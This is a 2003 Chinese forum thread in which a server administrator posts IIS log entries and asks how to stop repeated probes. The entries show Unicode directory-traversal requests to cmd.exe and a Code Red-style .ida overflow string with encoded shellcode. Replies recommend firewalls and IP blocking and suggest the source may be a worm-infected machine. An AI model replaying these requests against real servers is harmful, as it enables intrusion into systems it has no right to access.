忍无可忍，如何教训这人？？？

[ldqiao]

这个居心叵测的人至少100次（真的不少于这个数目了）用下面的方法骚扰我了
可怜的是我现在还没有发现他到底想干什么
谁能帮帮忙，让他不要再这样了
好不好

（谁能推荐一本书看看，我只想保护好自己）


2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/root.exe /c+dir 404 16 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /MSADC/root.exe /c+dir 403 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /c/winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /d/winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /msadc/..%5c../..%5c../..%5c/..?../..?../..?../winnt/system32/cmd.exe /c+dir 403 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.×80 GET /scripts/..?../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.×80 GET /scripts/..蜡../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.×80 GET /scripts/..翜../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 16 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 0 www - - -
2003-09-04 16:29:59 202.119.65.107 - W3SVC1 PROXY 202.119.×.× 80 GET /scripts/..%2f../winnt/system32/cmd.exe /c+dir 404 0 www - - -



2003-09-04 17:29:31 202.119.68.77 - W3SVC1 PROXY 202.119.×.×80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 0 - - - -


担心的是：
如果他没有得手
他老是这样干吗

他得手了又可能在干吗呢

[LOWGUN]

安装防火墙吧

[zhllwarez]

利用很早以前的unicode漏洞进行IIS攻击，在IIS中把它的IP封掉即可。

[sungod8]

放心吧,这么老的漏洞攻不破你的IIS的,安啦!对了,有他的IP,你也可以扫描他嘛!!

[ArLi2003]

此人用了代理服务器，你暂时扫不到他的

只能考虑堵IP，我的做法是自己写404 脚本，然后检测到是入侵可能的话就禁掉该IP，然后提示入侵者

[ldqiao]

扫描他没有用
好像是学校的官方的站点
好像是一些无聊的人干的

开始我也这样认为
当我发现他乐此不疲的时候
我很奇怪了

真的有点担心

安装防火墙影响服务器后面的人上网吗
服务器处于无人监控的状态

[hch_d]

安防火墙应该没问题吧。

[山野村夫]

除了封IP，应该没有其他办法，你总不能把80端口也关了吧

[流感]

他想利用IIS的漏洞进入你的计算机，然后获取管理员权限，关闭IIS，如果需要WEB或者FTP服务的话，可以使用其他软件，比如Apache或者是桑吧！

[chanet]

封IP

[fbing7]

对这种小KIDE,警告它一下.
如果是一直的话,也不排除对方中了蠕虫病毒所致.

[bxjgood66]

用防火墙吧

封IP

也不排除对方中了蠕虫病毒所致

[ldqiao]

如此说来可能是对方中毒了
呵呵
原来如此呀

[woshirenyi]

好好查查吧，可能他已经得手了